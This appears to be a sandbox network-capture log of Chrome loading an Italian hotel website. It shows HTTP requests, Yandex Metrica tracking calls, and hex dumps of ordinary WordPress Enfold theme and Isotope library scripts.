2025-01-09 12:19:29 UTC	16107	IN	Data Raw: 2f 2a 21 0a 20 2a 20 49 73 6f 74 6f 70 65 20 50 41 43 4b 41 47 45 44 20 76 33 2e 30 2e 35 0a 20 2a 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 47 50 4c 76 33 20 66 6f 72 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 75 73 65 0a 20 2a 20 6f 72 20 49 73 6f 74 6f 70 65 20 43 6f 6d 6d 65 72 63 69 61 6c 20 4c 69 63 65 6e 73 65 20 66 6f 72 20 63 6f 6d 6d 65 72 63 69 61 6c 20 75 73 65 0a 20 2a 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 69 73 6f 74 6f 70 65 2e 6d 65 74 61 66 69 7a 7a 79 2e 63 6f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 37 20 4d 65 74 61 66 69 7a 7a 79 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 6a 71 Data Ascii: /! Isotope PACKAGED v3.0.5 * * Licensed GPLv3 for open source use * or Isotope Commercial License for commercial use * * https://isotope.metafizzy.co * Copyright 2017 Metafizzy */!function(t,e){"function"==typeof define&&define.amd?define("jq
2025-01-09 12:19:29 UTC	16384	IN	Data Raw: 72 4c 61 79 6f 75 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 74 2e 69 73 49 67 6e 6f 72 65 64 7d 29 7d 2c 63 2e 5f 6c 61 79 6f 75 74 49 74 65 6d 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 68 69 73 2e 5f 65 6d 69 74 43 6f 6d 70 6c 65 74 65 4f 6e 49 74 65 6d 73 28 22 6c 61 79 6f 75 74 22 2c 74 29 2c 74 26 26 74 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 69 3d 5b 5d 3b 74 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 4c 61 79 6f 75 74 50 6f 73 69 74 69 6f 6e 28 74 29 3b 6f 2e 69 74 65 6d 3d 74 2c 6f 2e 69 73 49 6e 73 74 61 6e 74 3d 65 7c 7c 74 2e 69 73 4c 61 79 6f 75 74 Data Ascii: rLayout=function(t){return t.filter(function(t){return!t.isIgnored})},c._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var o=this._getItemLayoutPosition(t);o.item=t,o.isInstant=e\|\|t.isLayout
2025-01-09 12:19:29 UTC	16384	IN	Data Raw: 74 65 6d 73 53 6f 72 74 44 61 74 61 28 65 29 7d 2c 6c 2e 5f 67 65 74 53 6f 72 74 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 67 65 74 53 6f 72 74 44 61 74 61 3b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 29 7b 76 61 72 20 69 3d 74 5b 65 5d 3b 74 68 69 73 2e 5f 73 6f 72 74 65 72 73 5b 65 5d 3d 66 28 69 29 7d 7d 2c 6c 2e 5f 75 70 64 61 74 65 49 74 65 6d 73 53 6f 72 74 44 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 26 26 74 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 65 26 26 69 3c 65 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 74 5b 69 5d 3b 6f 2e 75 70 64 61 74 65 53 6f 72 74 44 61 74 61 28 29 7d 7d 3b 76 61 72 20 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 Data Ascii: temsSortData(e)},l._getSorters=function(){var t=this.options.getSortData;for(var e in t){var i=t[e];this._sorters[e]=f(i)}},l._updateItemsSortData=function(t){for(var e=t&&t.length,i=0;e&&i<e;i++){var o=t[i];o.updateSortData()}};var f=function(){function
2025-01-09 12:19:29 UTC	268	IN	Data Raw: 2e 5f 67 65 74 4f 70 74 69 6f 6e 28 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 29 3f 74 68 69 73 2e 6e 65 65 64 73 56 65 72 74 69 63 61 6c 52 65 73 69 7a 65 4c 61 79 6f 75 74 28 29 3a 69 2e 63 61 6c 6c 28 74 68 69 73 29 7d 3b 76 61 72 20 6a 3d 64 2e 5f 67 65 74 4f 70 74 69 6f 6e 3b 72 65 74 75 72 6e 20 64 2e 5f 67 65 74 4f 70 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 68 6f 72 69 7a 6f 6e 74 61 6c 22 3d 3d 61 3f 76 6f 69 64 20 30 21 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 48 6f 72 69 7a 6f 6e 74 61 6c 3f 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 73 48 6f 72 69 7a 6f 6e 74 61 6c 3a 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 68 6f 72 69 7a 6f 6e 74 61 6c 3a 6a 2e 61 70 70 6c 79 28 74 68 69 73 2e 69 73 6f 74 6f 70 65 2c 61 72 67 Data Ascii: ._getOption("horizontal")?this.needsVerticalResizeLayout():i.call(this)};var j=d._getOption;return d._getOption=function(a){return"horizontal"==a?void 0!==this.options.isHorizontal?this.options.isHorizontal:this.options.horizontal:j.apply(this.isotope,arg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.16	49855	87.250.250.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	1757	OUT	GET /watch/99162160?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr(14)clc(0-0-0)rqnt(1)aw(1)rcm(1) [TRUNCATED] Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.cipassoitalia.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=gTaD/EjvhW/GKVkO5Iw0SIcuK723LMdCEHuFe9D7uodpDgPghD6oGwV239a6vJ6ZYFXszON86TLsbGwz7TLgVWlG9YE=; yandexuid=4861718441736425168; yashr=4971233111736425168
2025-01-09 12:19:29 UTC	2869	IN	HTTP/1.1 302 Moved temporarily Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.cipassoitalia.it Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0 Connection: Close Date: Thu, 09 Jan 2025 12:19:29 GMT Expires: Thu, 09-Jan-2025 12:19:29 GMT Last-Modified: Thu, 09-Jan-2025 12:19:29 GMT Location: /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fwww.cipassoitalia.it%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.132%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.132%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.132%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A715124884331%3Ahid%3A1009997951%3Az%3A-300%3Ai%3A20250109071926%3Aet%3A1736425167%3Ac%3A1%3Arn%3A645420672%3Arqn%3A1%3Au%3A1736425167496978039%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A15316%3Awv%3A2%3Ads%3A80%2C702%2C439%2C117%2C799%2C0%2C%2C%2C%2C%2C%2C%2C%3Aco%3A0%3Acpf%3A1%3Ans%3A1736425147384%3Arqnl%3A1%3Ast%3A1736425168%3At%3ACiPASSO.%20Nel%20cuore%20di%20Roma%2C%20ad%20un%20passo%20dal%20Pantheon.&t=gdpr%2814%29clc%280-0-0%29rq [TRUNCATED] Pragma: no-cache Set-Cookie: yabs-sid=1132875371736425169; Path=/; SameSite=None; Secure Set-Cookie: yandexuid=4861718441736425168; Expires=Fri, 09-Jan-2026 12:19:29 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: yuidss=4861718441736425168; Expires=Fri, 09-Jan-2026 12:19:29 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: ymex=1767961169.yrts.1736425169; Expires=Fri, 09-Jan-2026 12:19:29 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Set-Cookie: receive-cookie-deprecation=1; Expires=Fri, 09-Jan-2026 12:19:29 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure; HttpOnly; Partitioned Set-Cookie: bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjEzMiIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xMzIiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjEzMiIi; Expires=Fri, 09-Jan-2026 12:19:29 GMT; Domain=.yandex.com; Path=/; SameSite=None; Secure Strict-Transport-Security: max-age=31536000 Transfer-Encoding: chunked X-XSS-Protection: 1; mode=block
2025-01-09 12:19:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.16	49853	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	725	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	275	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 908 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:29 UTC	908	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 50 72 6f 67 72 65 73 73 20 62 61 72 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Progress bar shortcode javascript// ------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.16	49856	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	727	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow-video.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	277	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 23077 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	16107	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 0a 2f 2f 20 41 56 49 41 20 56 49 44 45 4f 20 41 50 49 20 2d 20 6d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 79 6f 75 74 75 62 65 2c 20 76 69 6d 65 6f 20 61 6e 64 20 68 74 6d 6c 20 35 20 75 73 65 20 74 68 65 20 73 61 6d 65 20 69 6e 74 65 72 66 61 63 65 0a 2f 2f 20 0a 2f 2f 20 72 65 71 75 69 72 65 73 20 66 72 6f 6f 67 61 6c 6f 6f 70 20 76 69 6d 65 6f 20 6c 69 62 72 61 72 79 20 61 6e 64 20 79 6f 75 74 75 62 65 20 69 66 72 61 6d 65 20 61 70 69 20 28 79 74 20 63 61 6e 20 Data Ascii: // -------------------------------------------------------------------------------------------// // AVIA VIDEO API - make sure that youtube, vimeo and html 5 use the same interface// // requires froogaloop vimeo library and youtube iframe api (yt can
2025-01-09 12:19:30 UTC	6970	IN	Data Raw: 63 74 69 6f 6e 20 77 68 65 6e 20 74 68 65 20 6d 65 74 68 6f 64 20 72 65 74 75 72 6e 73 20 61 20 76 61 6c 75 65 2e 0a 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 61 70 69 3a 20 66 75 6e 63 74 69 6f 6e 28 6d 65 74 68 6f 64 2c 20 76 61 6c 75 65 4f 72 43 61 6c 6c 62 61 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7c 7c 20 21 6d 65 74 68 6f 64 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 73 65 6c 66 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 73 65 6c 66 2e 65 6c 65 6d 65 6e Data Ascii: ction when the method returns a value. */ api: function(method, valueOrCallback) { if (!this.element \|\| !method) { return false; } var self = this, element = self.elemen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.16	49859	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	741	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:29 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 8442 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:29 UTC	8442	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 41 76 69 61 63 63 6f 72 64 69 6f 6e 20 53 6c 69 64 65 73 68 6f 77 20 0a 2f 2f 20 0a 2f 2f 20 61 63 63 6f 72 64 69 6f 6e 20 73 6c 69 64 65 72 20 73 63 72 69 70 74 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){"use strict";// -------------------------------------------------------------------------------------------// Aviaccordion Slideshow // // accordion slider script// ---------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.16	49857	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	552	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry_entries/masonry_entries.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 8056 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	8056	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 4d 61 73 6f 6e 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 61 5f 6d 61 73 6f 6e 72 79 20 3d 20 Data Ascii: // -------------------------------------------------------------------------------------------// Masonry// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avia_masonry =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.16	49858	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	743	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
2025-01-09 12:19:30 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:29 GMT Content-Type: text/javascript Content-Length: 5625 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:31 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:30 UTC	5625	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 46 75 6c 6c 73 63 72 65 65 6e 20 53 6c 69 64 65 73 68 6f 77 20 0a 2f 2f 20 0a 2f 2f 20 65 78 74 65 6e 64 73 20 61 76 69 61 20 73 6c 69 64 65 73 68 6f 77 20 73 63 72 69 70 74 20 77 69 74 68 20 61 20 6d 6f 72 65 20 73 6f 70 68 69 73 74 69 63 61 74 65 64 20 70 72 65 6c 6f 61 64 65 72 20 61 6e 64 20 66 69 78 65 64 20 73 69 7a 65 20 66 6f 72 20 73 6c 69 64 65 72 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: // -------------------------------------------------------------------------------------------// Fullscreen Slideshow // // extends avia slideshow script with a more sophisticated preloader and fixed size for slider// ---------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.16	49860	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:29 UTC	530	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec; _ym_uid=1736425167496978039; _ym_d=1736425167
